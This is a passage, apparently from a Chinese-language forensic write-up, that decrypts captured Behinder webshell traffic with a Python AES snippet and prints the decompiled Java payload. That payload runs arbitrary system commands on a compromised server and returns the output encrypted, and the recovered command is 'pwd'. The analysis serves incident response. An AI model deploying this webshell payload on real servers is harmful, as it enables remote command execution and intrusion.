Bxi8U7VE4GaviM94PmFKjdCHz2OvPcKUiAHyx5TfTMXYI37FfleAQOInSKoliNBQNWMm4hF0EgH75Bo+NZV8P9TmOtDTaif73tPHEV5+bkU9TiGXnUde5mqlroIQgw"
*/
    data=base64.b64decode(data)
    
    # mi = aes_encode(data,key)
    # print("加密值：",mi)
    # s=aes_decode(data,key)
    #print("解密值：",s)

    a = aes_decode(data,key)
    open('3.class','wb').write(a)

最后对生成的class 文件进行反编译

反编译后执行代码内容如下：



package net.rebeyond.behinder.payload.java;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;

public class Cmd {
    public static String cmd = "pwd";
    private ServletRequest Request;
    private ServletResponse Response;
    private HttpSession Session;

    public boolean equals(Object obj) {
        PageContext page = (PageContext) obj;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();
        page.getResponse().setCharacterEncoding("UTF-8");
        Map<String, String> result = new HashMap<>();
        try {
            result.put("msg", RunCMD(cmd));
            result.put("status", "success");
            try {
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e2) {
            result.put("msg", e2.getMessage());
            result.put("status", "success");
            try {
            } catch (Exception e3) {
                e3.printStackTrace();
            }
        } finally {
            try {
                ServletOutputStream so = this.Response.getOutputStream();
                so.write(Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so.flush();
                so.close();
                page.getOut().clear();
            } catch (Exception e4) {
                e4.printStackTrace();
            }
        }
        return true;
    }

    private String RunCMD(String cmd2) throws Exception {
        Process p;
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd2 == null || cmd2.length() <= 0) {
            return result;
        }
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
            p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2});
        } else {
            p = Runtime.getRuntime().exec(cmd2);
        }
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
        String disr = br.readLine();
        String result2 = result;
        while (disr != null) {
            String result3 = result2 + disr + "\n";
            disr = br.readLine();
            result2 = result3;
        }
        return new String(result2.getBytes(osCharset));
    }

    private byte[] Encrypt(byte[] bs) throws Exception {
        SecretKeySpec skeySpec = new SecretKeySpec(this.Session.getAttribute("u").toString().getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, skeySpec);
        return cipher.doFinal(bs);
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = ((String) entity.get(key)).toString();
            if (encode) {
                if (version.compareTo("1.9") >= 0) {
                    getClass();
                    Class Base64 = Class.forName("java.util.Base64");
                    Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{value.getBytes("UTF-8")});
                } else {
                    getClass();
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                    value = ((String) Encoder2.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder2, new Object[]{value.getBytes("UTF-8")})).replace("\n", "").replace("\r", "");
                }
            }
            sb.append(value);
            sb.append("\",");
        }
        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }
        sb.append("}");
        return sb.toString();
    }
}

还原请求内容这里为pwd